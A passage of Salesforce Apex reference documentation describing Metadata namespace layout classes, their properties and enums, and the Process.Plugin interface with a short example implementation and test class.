public static Id enqueueDeployment(Metadata.DeployContainer container,
                                Metadata.DeployCallback callback)
```

Parameters

- **container**
  Type: Metadata.DeployContainer
  Container that contains the set of metadata components to deploy.

- **callback**
  Type: Metadata.DeployCallback
  A class that implements the Metadata.DeployCallback interface. Used by Salesforce to return information about the deployment results.

Return Value
Type: Id
ID of deployment request.

retrieve(type, fullNames)

Retrieves a list of custom metadata components.

Signature

```java
public static List<Metadata.Metadata> retrieve(Metadata.MetadataType type,
                                             List<String> fullNames)
```

Parameters

- **type**
  Type: Metadata.MetadataType
  The metadata component type.
**PlatformActionList Class**

Represents the list of actions, and their order, that display in the Salesforce mobile action bar for the layout.

**Namespace**

Metadata

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “PlatformActionList” in the Metadata API Developer Guide.

IN THIS SECTION:

PlatformActionList Properties

PlatformActionList Methods

**PlatformActionList Properties**

The following are properties for PlatformActionList.

IN THIS SECTION:

actionListContext

The context of the action list.

platformActionListItems

The actions in the platform action list.

relatedSourceEntity

When the `actionListContext` property is “RelatedList” or “RelatedListRecord”, this field represents the API name of the related list to which the action belongs.

**actionListContext**

The context of the action list.

Signature

```csharp
public Metadata.PlatformActionListContextEnum actionListContext {get; set;}
```
Property Value
Type: Metadata.PlatformActionListContextEnum

**platformActionListItems**
The actions in the platform action list.

Signature
```
public List<Metadata.PlatformActionListItem> platformActionListItems {get; set;}
```

Property Value
Type: List<Metadata.PlatformActionListItem>

**relatedSourceEntity**
When the actionListContext property is “RelatedList” or “RelatedListRecord”, this field represents the API name of the related list to which the action belongs.

Signature
```
public String relatedSourceEntity {get; set;}
```

Property Value
Type: String

**PlatformActionList Methods**
The following are methods for PlatformActionList.

IN THIS SECTION:

**clone()**
Makes a duplicate copy of the Metadata.PlatformActionList.

Signature
```
public Object clone()
```

Return Value
Type: Object
PlatformActionListContextEnum Enum

Describes the different contexts of action lists.

Enum Values

The following are the values of the Metadata.PlatformActionListContextEnum enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ActionDefinition</td>
<td>Action definition context.</td>
</tr>
<tr>
<td>Assistant</td>
<td>Assistant context.</td>
</tr>
<tr>
<td>BannerPhoto</td>
<td>Banner photo context.</td>
</tr>
<tr>
<td>Chatter</td>
<td>Chatter context.</td>
</tr>
<tr>
<td>Dockable</td>
<td>Dockable context.</td>
</tr>
<tr>
<td>FeedElement</td>
<td>Feed element context.</td>
</tr>
<tr>
<td>Flexipage</td>
<td>Flexipage context.</td>
</tr>
<tr>
<td>Global_x</td>
<td>Global context.</td>
</tr>
<tr>
<td>ListView</td>
<td>Listview context.</td>
</tr>
<tr>
<td>ListViewDefinition</td>
<td>Listview definition context.</td>
</tr>
<tr>
<td>ListViewRecord</td>
<td>Listview record context.</td>
</tr>
<tr>
<td>Lookup</td>
<td>Lookup context.</td>
</tr>
<tr>
<td>MruList</td>
<td>MRU list context.</td>
</tr>
<tr>
<td>MruRow</td>
<td>MRU row context.</td>
</tr>
<tr>
<td>ObjectHomeChart</td>
<td>Object home chart context.</td>
</tr>
<tr>
<td>Photo</td>
<td>Photo context</td>
</tr>
<tr>
<td>Record</td>
<td>Record context.</td>
</tr>
<tr>
<td>RecordEdit</td>
<td>Record edit context</td>
</tr>
<tr>
<td>RelatedList</td>
<td>Related list context.</td>
</tr>
<tr>
<td>RelatedListRecord</td>
<td>Related list record context.</td>
</tr>
</tbody>
</table>

PlatformActionListItem Class

Represents an action in the platform action list for a layout.

Namespace

Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “PlatformActionListItem” in the Metadata API Developer Guide.

IN THIS SECTION:
- PlatformActionListItem Properties
- PlatformActionListItem Methods

PlatformActionListItem Properties
The following are properties for PlatformActionListItem.

IN THIS SECTION:
- actionName
- actionType
- sortOrder
- subtype

actionName
The API name for the action in the list.

Signature
public String actionName {get; set;}

Property Value
Type: String

actionType
The type of action.

Signature
public Metadata.PlatformActionTypeEnum actionType {get; set;}

Property Value
Type: Metadata.PlatformActionTypeEnum
**sortOrder**
The placement of the action in the list.

Signature
public Integer sortOrder {get; set;}

Property Value
Type: Integer

**subtype**
The subtype of the action.

Signature
public String subtype {get; set;}

Property Value
Type: String

**PlatformActionListItem Methods**
The following are methods for PlatformActionListItem.

IN THIS SECTION:
  - **clone**
    Makes a duplicate copy of the Metadata.PlatformActionListItem.

**clone ()**
Makes a duplicate copy of the Metadata.PlatformActionListItem

Signature
public Object clone()

Return Value
Type: Object

**PlatformActionTypeEnum Enum**
The type of action for a PlatformActionListItem.
Enum Values
The following are the values of the Metadata.PlatformActionTypeEnum enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ActionLink</td>
<td>An indicator on a feed element that targets an API, a web page, or a file, represented by a button in the Salesforce Chatter feed UI.</td>
</tr>
<tr>
<td>CustomButton</td>
<td>When clicked, opens a URL or a Visualforce page in a window or executes JavaScript.</td>
</tr>
<tr>
<td>InvocableAction</td>
<td>An invocable action such as posting to Chatter.</td>
</tr>
<tr>
<td>ProductivityAction</td>
<td>Productivity actions are predefined by Salesforce and are attached to a limited set of objects. You can't edit or delete productivity actions.</td>
</tr>
<tr>
<td>QuickAction</td>
<td>A global or object-specific action.</td>
</tr>
<tr>
<td>StandardButton</td>
<td>A predefined Salesforce button such as New, Edit, and Delete.</td>
</tr>
</tbody>
</table>

PrimaryTabComponents Class
Represents custom console components on primary tabs in the Salesforce console.

Namespace
Metadata

Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “PrimaryTabComponents” in the Metadata API Developer Guide.

IN THIS SECTION:
- PrimaryTabComponents Properties
- PrimaryTabComponents Methods

PrimaryTabComponents Properties
The following are properties for PrimaryTabComponents.

IN THIS SECTION:
- component
  Represents a custom console component (Visualforce page, lookup field, or related lists) on a section of a page layout.
- containers
  Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce console.
**component**
Represents a custom console component (Visualforce page, lookup field, or related lists) on a section of a page layout.

**Signature**
```java
public List<Metadata.ConsoleComponent> component {get; set;}
```

**Property Value**
Type: `List<Metadata.ConsoleComponent>`

**containers**
Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce console.

**Signature**
```java
public List<Metadata.Container> containers {get; set;}
```

**Property Value**
Type: `List<Metadata.Container>`

**PrimaryTabComponents Methods**
The following are methods for `PrimaryTabComponents`.

**IN THIS SECTION:**
- `clone()`  
  Makes a duplicate copy of the `Metadata.PrimaryTabComponents`.

**clone()**
Makes a duplicate copy of the `Metadata.PrimaryTabComponents`.

**Signature**
```java
public Object clone()
```

**Return Value**
Type: `Object`

**QuickActionList Class**
Represents the list of actions associated with the page layout.
Namespace
Metadata

Usage
Use this class when accessing `Metadata.Layout` metadata components. For more information, see “QuickActionList” in the Metadata API Developer Guide.

IN THIS SECTION:
- QuickActionList Properties
- QuickActionList Methods

QuickActionList Properties
The following are properties for QuickActionList.

IN THIS SECTION:
- quickActionListItems
  - List of QuickActionList objects.

**quickActionListItems**
List of QuickActionList objects.

Signature
```java
public List<Metadata.QuickActionListItem> quickActionListItems {get; set;}
```

Property Value
Type: `List<Metadata.QuickActionListItem>`

QuickActionList Methods
The following are methods for QuickActionList.

IN THIS SECTION:
- clone()  
  - Makes a duplicate copy of the `Metadata.QuickActionList`.

**clone()**
Makes a duplicate copy of the `Metadata.QuickActionList`.

Signature
```java
public Object clone()
```
QuickActionListItem Class

Represents an action in the QuickActionList.

Namespace

Metadata

Usage

Use this class when accessing Metadata.Layout metadata components. For more information, see “QuickActionListItem” in the Metadata API Developer Guide.

IN THIS SECTION:

QuickActionListItem Properties

QuickActionListItem Methods

QuickActionListItem Properties

The following are properties for QuickActionListItem.

IN THIS SECTION:

quickActionName

The API name of the action.

quickActionName

The API name of the action.

Signature

public String quickActionName {get; set;}

Property Value

Type: String

QuickActionListItem Methods

The following are methods for QuickActionListItem.
clone() 

Makes a duplicate copy of the Metadata.QuickActionListItem.

Signature

public Object clone() 

Return Value 

Type: Object 

RelatedContent Class

Represents the Mobile Cards section of the page layout.

Namespace

Metadata 

Usage

Use this class when accessing Metadata.Layout metadata components. For more information, see “RelatedContent” in the Metadata API Developer Guide.

RelatedContent Properties

The following are properties for RelatedContent.

RelatedContent Items

A list of layout items in the Mobile Cards section of the page layout.

relatedContentItems

A list of layout items in the Mobile Cards section of the page layout.
Signature

```java
public List<Metadata.RelatedContentItem> relatedContentItems {get; set;}
```

Property Value

Type: `List<Metadata.RelatedContentItem>`

**RelatedContent Methods**

The following are methods for `RelatedContent`.

**IN THIS SECTION:**

```java
clone()
```

Makes a duplicate copy of the `Metadata.RelatedContent`.

**clone()**

Makes a duplicate copy of the `Metadata.RelatedContent`.

Signature

```java
public Object clone()
```

Return Value

Type: `Object`

**RelatedContentItem Class**

Represents an individual item in the `RelatedContent` list.

**Namespace**

`Metadata`

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “RelatedContentItem” in the `Metadata API Developer Guide`.

**IN THIS SECTION:**

- `RelatedContentItem Properties`
- `RelatedContentItem Methods`

**RelatedContentItem Properties**

The following are properties for `RelatedContentItem`. 
IN THIS SECTION:

layoutItem
An individual layout item in the Mobile Cards section.

**layoutItem**
An individual layout item in the Mobile Cards section.

Signature

```csharp
public Metadata.LayoutItem layoutItem {get; set;}
```

Property Value

Type: **Metadata.LayoutItem**

**RelatedContentItem Methods**

The following are methods for **RelatedContentItem**.

IN THIS SECTION:

**clone()**

Makes a duplicate copy of the **Metadata.RelatedContentItem**.

**clone()**

Makes a duplicate copy of the **Metadata.RelatedContentItem**.

Signature

```csharp
public Object clone()
```

Return Value

Type: **Object**

**RelatedList Class**

Represents related list custom components on the sidebars of the Salesforce console.

**Namespace**

`Metadata`

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “RelatedList” in the **Metadata API Developer Guide**.
IN THIS SECTION:

RelatedList Properties

The following are properties for RelatedList.

IN THIS SECTION:

hideOnDetail

When set to true, the related list is hidden from detail pages where it appears as a component to prevent duplicate information from showing.

name

The name of the component as it appears to console users.

**hideOnDetail**

When set to true, the related list is hidden from detail pages where it appears as a component to prevent duplicate information from showing.

Signature

```java
public Boolean hideOnDetail {get; set;}
```

Property Value

Type: **Boolean**

**name**

The name of the component as it appears to console users.

Signature

```java
public String name {get; set;}
```

Property Value

Type: **String**

**RelatedList Methods**

The following are methods for RelatedList.

IN THIS SECTION:

**clone()**

Makes a duplicate copy of the Metadata.RelatedList.
clone()

Makes a duplicate copy of the Metadata.RelatedList.

Signature

public Object clone()

Return Value

Type: Object

RelatedListItem Class

Represents an item in the related list in a page layout.

Namespace

Metadata

Usage

Use this class when accessing Metadata.Layout metadata components. For more information, see “RelatedListItem” in the Metadata API Developer Guide.

IN THIS SECTION:
  RelatedListItem Properties
  RelatedListItem Methods

RelatedListItem Properties

The following are properties for RelatedListItem.

IN THIS SECTION:
  customButtons
  A list of custom buttons used in the related list.
  excludeButtons
  A list of excluded related-list buttons.
  fields
  A list of fields displayed in the related list. Uses aliases instead of field or API names.
  relatedList
  The name of the related list.
  sortField
  The name of the field used for sorting.
  sortOrder
  When sortField is set, the sortOrder property determines the sort order.
customButtons
A list of custom buttons used in the related list.

Signature
public List<String> customButtons {get; set;}

Property Value
Type: List<String>
For more information, see “Define Custom Buttons and Links” in the Salesforce online help.

excludeButtons
A list of excluded related-list buttons.

Signature
public List<String> excludeButtons {get; set;}

Property Value
Type: List<String>

fields
A list of fields displayed in the related list. Uses aliases instead of field or API names.

Signature
public List<String> fields {get; set;}

Property Value
Type: List<String>

relatedList
The name of the related list.

Signature
public String relatedList {get; set;}

Property Value
Type: String
**sortField**
The name of the field used for sorting.

Signature
```java
public String sortField {get; set;}
```

Property Value
Type: String

**sortOrder**
When `sortField` is set, the `sortOrder` property determines the sort order.

Signature
```java
public Metadata.SortOrder sortOrder {get; set;}
```

Property Value
Type: Metadata.SortOrder

**RelatedListItem Methods**
The following are methods for `RelatedListItem`.

**clone()**
Makes a duplicate copy of the `Metadata.RelatedListItem`.

Signature
```java
public Object clone()
```

Return Value
Type: Object

**ReportChartComponentLayoutItem Class**
Represents the settings for a report chart on a standard or custom page.
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “ReportChartComponentLayoutItem” in the Metadata API Developer Guide.

IN THIS SECTION:
  ReportChartComponentLayoutItem Properties
  ReportChartComponentLayoutItem Methods

ReportChartComponentLayoutItem Properties
The following are properties for ReportChartComponentLayoutItem.

IN THIS SECTION:
  cacheData
  Indicates whether to use cached data when displaying the chart. When the attribute is set to true, data is cached for 24 hours. When the attribute is set to false, the report is run every time the page is refreshed.
  contextFilterableField
  Unique development name of the field by which a report chart is filtered to return data relevant to the page. If set, the ID field for the parent object of the page or report type is the chart data filter. The parent object for the report type and the page must match for a chart to return relevant data.
  error
  Error string that is populated only when an error occurs in the underlying report.
  hideOnError
  Controls whether users see a chart that has an error. When an error occurs and this attribute is not set, the chart doesn’t show any data except the error. Set the attribute to true to hide the chart from a page on error.
  includeContext
  If true, filters the report chart to return data that’s relevant to the page.
  reportName
  Unique development name of a report that includes a chart.
  showTitle
  If true, applies the title from the report to the chart.
  size
  Size of the displayed chart. The default is medium.

cacheData
Indicates whether to use cached data when displaying the chart. When the attribute is set to true, data is cached for 24 hours. When the attribute is set to false, the report is run every time the page is refreshed.
Signature
```java
public Boolean cacheData {get; set;}
```

Property Value
Type: Boolean

**contextFilterableField**

Unique development name of the field by which a report chart is filtered to return data relevant to the page. If set, the ID field for the parent object of the page or report type is the chart data filter. The parent object for the report type and the page must match for a chart to return relevant data.

Signature
```java
public String contextFilterableField {get; set;}
```

Property Value
Type: String

**error**

Error string that is populated only when an error occurs in the underlying report.

Signature
```java
public String error {get; set;}
```

Property Value
Type: String

**hideOnError**

Controls whether users see a chart that has an error. When an error occurs and this attribute is not set, the chart doesn’t show any data except the error. Set the attribute to true to hide the chart from a page on error.

Signature
```java
public Boolean hideOnError {get; set;}
```

Property Value
Type: Boolean

**includeContext**

If true, filters the report chart to return data that’s relevant to the page.
Signature
```
public Boolean includeContext {get; set;}
```

Property Value
Type: Boolean

**reportName**
Unique development name of a report that includes a chart.

Signature
```
public String reportName {get; set;}
```

Property Value
Type: String

**showTitle**
If true, applies the title from the report to the chart.

Signature
```
public Boolean showTitle {get; set;}
```

Property Value
Type: Boolean

**size**
Size of the displayed chart. The default is medium.

Signature
```
public Metadata.ReportChartComponentSize size {get; set;}
```

Property Value
Type: Metadata.ReportChartComponentSize

**ReportChartComponentLayoutItem Methods**
The following are methods for `ReportChartComponentLayoutItem`.

IN THIS SECTION:

```
clone()
```

2696
clone()

Signature

public Object clone()

Return Value
Type: Object

ReportChartComponentSize Enum

Describes the size of the displayed report chart component.

Enum Values

The following are the values of the Metadata.ReportChartComponentSize enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LARGE</td>
<td>Large chart size.</td>
</tr>
<tr>
<td>MEDIUM</td>
<td>Medium chart size.</td>
</tr>
<tr>
<td>SMALL</td>
<td>Small chart size.</td>
</tr>
</tbody>
</table>

SidebarComponent Class

Represents a specific custom console component to display in a container that hosts multiple components in one of the sidebars of the Salesforce console.

Namespace

Metadata

Usage

Use this class when accessing Metadata.Layout metadata components. For more information, see “SidebarComponent” in the Metadata API Developer Guide.

IN THIS SECTION:

SidebarComponent Properties
SidebarComponent Methods

SidebarComponent Properties

The following are properties for SidebarComponent.
IN THIS SECTION:

- **componentType**
  Specifies the component type. Valid values are “KnowledgeOne”, “Lookup”, “Milestones”, “RelatedList”, “Topics”, “Files”, and “CaseExperts”.

- **createAction**
  If the component is a lookup field, the name of the quick action used to create a record.

- **enableLinking**
  If the component is a lookup field, lets users associate a record with this field.

- **height**
  The height of the component in the container. The **unit** property determines the unit of measurement, in pixels or percent.

- **knowledgeOneEnable**
  Indicates if the component is enabled for Knowledge One.

- **label**
  The name of the component as it displays to console users. Available for components in a container with the style of tabs or accordion.

- **lookup**
  If the component is a lookup field, the name of the field.

- **page_x**
  If the component is a Visualforce page, the name of the Visualforce page.

- **relatedLists**
  If the component is a related list component, the list of related list names.

- **unit**
  The unit of measurement (pixels or percent) for the height and width of the component in the container.

- **updateAction**
  If the component is a lookup field, the name of the quick action used to update a record.

- **width**
  The width of the component in the container. The **unit** property determines the unit of measurement, in pixels or percent.

**componentType**

Specifies the component type. Valid values are “KnowledgeOne”, “Lookup”, “Milestones”, “RelatedList”, “Topics”, “Files”, and “CaseExperts”.

**Signature**

```java
public String componentType {get; set;}
```

**Property Value**

Type: **String**

**createAction**

If the component is a lookup field, the name of the quick action used to create a record.
Signature

public String createAction {get; set;}

Property Value
Type: String

**enableLinking**
If the component is a lookup field, lets users associate a record with this field.

Signature

public Boolean enableLinking {get; set;}

Property Value
Type: Boolean

**height**
The height of the component in the container. The *unit* property determines the unit of measurement, in pixels or percent.

Signature

public Integer height {get; set;}

Property Value
Type: Integer

**knowledgeOneEnable**
Indicates if the component is enabled for Knowledge One.

Signature

public Boolean knowledgeOneEnable {get; set;}

Property Value
Type: Boolean

**label**
The name of the component as it displays to console users. Available for components in a container with the style of tabs or accordion.

Signature

public String label {get; set;}
Property Value
Type: **String**

**lookup**
If the component is a lookup field, the name of the field.

Signature
`public String lookup {get; set;}`

Property Value
Type: **String**

**page_x**
If the component is a Visualforce page, the name of the Visualforce page.

Signature
`public String page_x {get; set;}`

Property Value
Type: **String**

**relatedLists**
If the component is a related list component, the list of related list names.

Signature
`public List<Metadata.RelatedList> relatedLists {get; set;}`

Property Value
Type: **List<Metadata.RelatedList>**

**unit**
The unit of measurement (pixels or percent) for the height and width of the component in the container.

Signature
`public String unit {get; set;}`

Property Value
Type: **String**
**updateAction**
If the component is a lookup field, the name of the quick action used to update a record.

Signature

```java
public String updateAction {get; set;}
```

Property Value

Type: **String**

**width**
The width of the component in the container. The `unit` property determines the unit of measurement, in pixels or percent.

Signature

```java
public Integer width {get; set;}
```

Property Value

Type: **Integer**

### SidebarComponent Methods
The following are methods for `SidebarComponent`.

**IN THIS SECTION:**

- `clone()`
  Makes a duplicate copy of the `Metadata.SidebarComponent`.

- `clone()`
  Makes a duplicate copy of the `Metadata.SidebarComponent`.

**clone ()**
Makes a duplicate copy of the `Metadata.SidebarComponent`.

Signature

```java
public Object clone()
```

Return Value

Type: **Object**

### SortOrder Enum
Describes the sort order of a related list.
**Enum Values**

The following are the values of the `Metadata.SortOrder` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Asc_x</td>
<td>Sort in ascending order.</td>
</tr>
<tr>
<td>Desc_x</td>
<td>Sort in descending order.</td>
</tr>
</tbody>
</table>

**StatusCode Enum**

Describes the status code for an unsuccessful component deploy.

**Enum Values**

The following are the values of the `Metadata.StatusCode` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>INVALID_SCS_INBOUND_USER</td>
<td>Log in as the RunAs user configured in your SCS setup.</td>
</tr>
<tr>
<td>REQUIRE_CONNECTED_APP_SCS</td>
<td>SCS Connected App is not installed.</td>
</tr>
<tr>
<td>REQUIRE_CONNECTED_APP_SESSION_SCS</td>
<td>To use the SCS connected app, the user must be authenticated.</td>
</tr>
<tr>
<td>REQUIRE_RUNAS_USER</td>
<td>A RunAs user must be configured in your org.</td>
</tr>
</tbody>
</table>

SEE ALSO:

`DeployProblemType Enum`

**SubtabComponents Class**

Represents custom console components on subtabs in the Salesforce console.

**Namespace**

`Metadata`

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “SubtabComponents” in the `Metadata API Developer Guide`.

IN THIS SECTION:

- **SubtabComponents Properties**
- **SubtabComponents Methods**
SubtabComponents Properties

The following are properties for SubtabComponents.

IN THIS SECTION:

  component
  Represents a custom console component (Visualforce page, lookup field, or related lists) on a section of a page layout.

  containers
  Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce console.

component

Represents a custom console component (Visualforce page, lookup field, or related lists) on a section of a page layout.

Signature

```java
public List<Metadata.ConsoleComponent> component {get; set;}
```

Property Value

Type: `List<Metadata.ConsoleComponent>`

containers

Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce console.

Signature

```java
public List<Metadata.Container> containers {get; set;}
```

Property Value

Type: `List<Metadata.Container>`

SubtabComponents Methods

The following are methods for SubtabComponents.

IN THIS SECTION:

  clone()
  Makes a duplicate copy of the Metadata.SubtabComponents.

clone()

Makes a duplicate copy of the Metadata.SubtabComponents.
Signature

```java
public Object clone()
```

Return Value
Type: Object

**SummaryLayoutStyleEnum Enum**

Describes the highlights panel style for a SummaryLayout.

**Enum Values**

The following are the values of the `Metadata.SummaryLayoutStyleEnum` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CaseInteraction</td>
<td>Case interaction style.</td>
</tr>
<tr>
<td>ChildServiceReportTemplateStyle</td>
<td>Child service report template style.</td>
</tr>
<tr>
<td>DefaultQuoteTemplate</td>
<td>Default quote template style.</td>
</tr>
<tr>
<td>DefaultServiceReportTemplate</td>
<td>Default service report style</td>
</tr>
<tr>
<td>Default_x</td>
<td>Default style.</td>
</tr>
<tr>
<td>PathAssistant</td>
<td>Path assisstant style.</td>
</tr>
<tr>
<td>QuickActionLayoutLeftRight</td>
<td>Quick action left-right layout style.</td>
</tr>
<tr>
<td>QuickActionLayoutTopDown</td>
<td>Quick action top-down layout style.</td>
</tr>
<tr>
<td>QuoteTemplate</td>
<td>Quote template style.</td>
</tr>
<tr>
<td>ServiceReportTemplate</td>
<td>Service report style.</td>
</tr>
</tbody>
</table>

**SummaryLayout Class**

Controls the appearance of the highlights panel, which summarizes key fields in a grid at the top of a page layout, when Case Feed is enabled.

**Namespace**

`Metadata`

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “SummaryLayout” in the `Metadata API Developer Guide`. 
SummaryLayout Properties

The following are properties for SummaryLayout.

IN THIS SECTION:

    masterLabel
    The name of the layout label.
    
    sizeX
    Number of columns in the highlights pane, between 1 and 4 (inclusive).
    
    sizeY
    Number of rows in each column, either 1 or 2.
    
    sizeZ
    If provided, the setting is not visible to users.
    
    summaryLayoutItems
    Controls the appearance of an individual field and its column and row position within the highlights panel grid, when Case Feed is enabled. At least one is required.
    
    summaryLayoutStyle
    Specifies the panel style.

masterLabel

The name of the layout label.

Signature

    public String masterLabel {get; set;}

Property Value

Type: String

sizeX

Number of columns in the highlights pane, between 1 and 4 (inclusive).

Signature

    public Integer sizeX {get; set;}

Property Value

Type: Integer
**sizeY**
Number of rows in each column, either 1 or 2.

Signature

```java
public Integer sizeY {get; set;}
```

Property Value
Type: Integer

**sizeZ**
If provided, the setting is not visible to users.

Signature

```java
public Integer sizeZ {get; set;}
```

Property Value
Type: Integer

**summaryLayoutItems**
Controls the appearance of an individual field and its column and row position within the highlights panel grid, when Case Feed is enabled. At least one is required.

Signature

```java
public List<Metadata.SummaryLayoutItem> summaryLayoutItems {get; set;}
```

Property Value
Type: List<Metadata.SummaryLayoutItem>

**summaryLayoutStyle**
Specifies the panel style.

Signature

```java
public Metadata.SummaryLayoutStyleEnum summaryLayoutStyle {get; set;}
```

Property Value
Type: Metadata.SummaryLayoutStyleEnum

**SummaryLayout Methods**
The following are methods for SummaryLayout.
IN THIS SECTION:

clone()
Makes a duplicate copy of the Metadata.SummaryLayout.

close()
Makes a duplicate copy of the Metadata.SummaryLayout.

Signature
public Object clone()

Return Value
Type: Object

SummaryLayoutItem Class
Controls the appearance of an individual field and its column and row position within the highlights panel grid, when Case Feed is enabled. You can have two fields per each grid in a highlights panel.

Namespace
Metadata

Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “SummaryLayoutItem” in the Metadata API Developer Guide.

IN THIS SECTION:

SummaryLayoutItem Properties
SummaryLayoutItem Methods

SummaryLayoutItem Properties
The following are properties for SummaryLayoutItem.

IN THIS SECTION:

customLink
The custom link reference.
field
The field name reference, relative to the page layout. Must be a standard or custom field that also exists on the detail page.
posX
The item's column position in the highlights panel grid. Must be within the range of sizeX.
posY
The item's row position in the highlights panel grid. Must be within the range of sizeY.

posZ
Reserved for future use. If provided, the setting is not visible to users.

customLink
The custom link reference.

Signature
public String customLink {get; set;}

Property Value
Type: String

field
The field name reference, relative to the page layout. Must be a standard or custom field that also exists on the detail page.

Signature
public String field {get; set;}

Property Value
Type: String

posX
The item's column position in the highlights panel grid. Must be within the range of sizeX.

Signature
public Integer posX {get; set;}

Property Value
Type: Integer

posY
The item's row position in the highlights panel grid. Must be within the range of sizeY.

Signature
public Integer posY {get; set;}
Property Value
Type: Integer

**posZ**
Reserved for future use. If provided, the setting is not visible to users.

Signature
```java
public Integer posZ {get; set;}
```

Property Value
Type: Integer

**SummaryLayoutItem Methods**
The following are methods for `SummaryLayoutItem`.

**IN THIS SECTION:**
- `clone()`

  Makes a duplicate copy of the `Metadata.SummaryLayoutItem`.

### `clone()`
Makes a duplicate copy of the `Metadata.SummaryLayoutItem`.

Signature
```java
public Object clone()
```

Return Value
Type: Object

**UiBehavior Enum**
Describes the behavior for a layout item on a layout page.

**Enum Values**
The following are the values of the `Metadata.UiBehavior` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Edit</td>
<td>The layout field can be edited but is not required.</td>
</tr>
<tr>
<td>Readonly</td>
<td>The layout field is read-only.</td>
</tr>
<tr>
<td>Required</td>
<td>The layout field can be edited and is required.</td>
</tr>
</tbody>
</table>
Process Namespace

The Process namespace provides an interface and classes for passing data between your organization and a flow. The following are the interfaces and classes in the Process namespace.

IN THIS SECTION:

Plugin Interface
Allows you to pass data between your organization and a specified flow.

PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.

PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.

PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.

PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.

PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.

Plugin Interface

Allows you to pass data between your organization and a specified flow.

Namespace

Process

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

IN THIS SECTION:

Plugin Methods

Plugin Example Implementation

Plugin Methods

The following are instance methods for Plugin.
IN THIS SECTION:

describe()
Returns a Process.PluginDescribeResult object that describes this method call.

invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

describe()
Returns a Process.PluginDescribeResult object that describes this method call.

Signature

```
public Process.PluginDescribeResult describe()
```

Return Value

Type: Process.PluginDescribeResult

invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

Signature

```
```

Parameters

request
Type: Process.PluginRequest

Return Value

Type: Process.PluginResult

Plugin Example Implementation

```
global class flowChat implements Process.Plugin {

  // The main method to be implemented. The Flow calls this at run time.

global Process.PluginResult invoke(Process.PluginRequest request) {

  // Get the subject of the Chatter post from the flow
  String subject = (String) request.inputParameters.get('subject');

  // Use the Chatter APIs to post it to the current user's feed
  FeedItem fItem = new FeedItem();
  fItem.ParentId = UserInfo.getUserId();
  fItem.Body = 'Flow Update: ' + subject;
  insert fItem;
}
```
// return to Flow
Map<String, Object> result = new Map<String, Object>();
return new Process.PluginResult(result);
}

// Returns the describe information for the interface
global Process.PluginDescribeResult describe() {
    Process.PluginDescribeResult result = new Process.PluginDescribeResult();
    result.Name = 'flowchatplugin';
    result.Tag = 'chat';
    result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
        new Process.PluginDescribeResult.InputParameter('subject',
            Process.PluginDescribeResult.ParameterType.STRING, true)
    };
    result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{};
    return result;
}

Test Class
The following is a test class for the above class.

@isTest
class flowChatTest {
    static testmethod void flowChatTests() {

        flowChat plugin = new flowChat();
        Map<String, Object> inputParams = new Map<String, Object>();

        string feedSubject = 'Flow is alive';
        InputParams.put('subject', feedSubject);

        Process.PluginRequest request = new Process.PluginRequest(inputParams);

        plugin.invoke(request);
    }
}

PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.

Namespace
Process
We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support Blob, Collection, sObject, and Time data types, and it doesn't support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

### PluginDescribeResult Constructors

The following are constructors for `PluginDescribeResult`.

#### PluginDescribeResult()

Creates a new instance of the `Process.PluginDescribeResult` class.

#### Signature

```java
public PluginDescribeResult()
```

### PluginDescribeResult Properties

The following are properties for `PluginDescribeResult`.

#### description

This optional field describes the purpose of the plug-in.

#### inputParameters

The input parameters passed by the `Process.PluginRequest` class from a flow to the class that implements the `Process.Plugin` interface.

#### name

Unique name of the plug-in.

#### outputParameters

The output parameters passed by the `Process.PluginResult` class from the class that implements the `Process.Plugin` interface to the flow.
**description**

This optional field describes the purpose of the plug-in.

Signature

```java
public String description {get; set;}
```

Property Value

Type: `String`

Usage

Size limit: 255 characters.

**inputParameters**

The input parameters passed by the `Process.PluginRequest` class from a flow to the class that implements the `Process.Plugin` interface.

Signature

```java
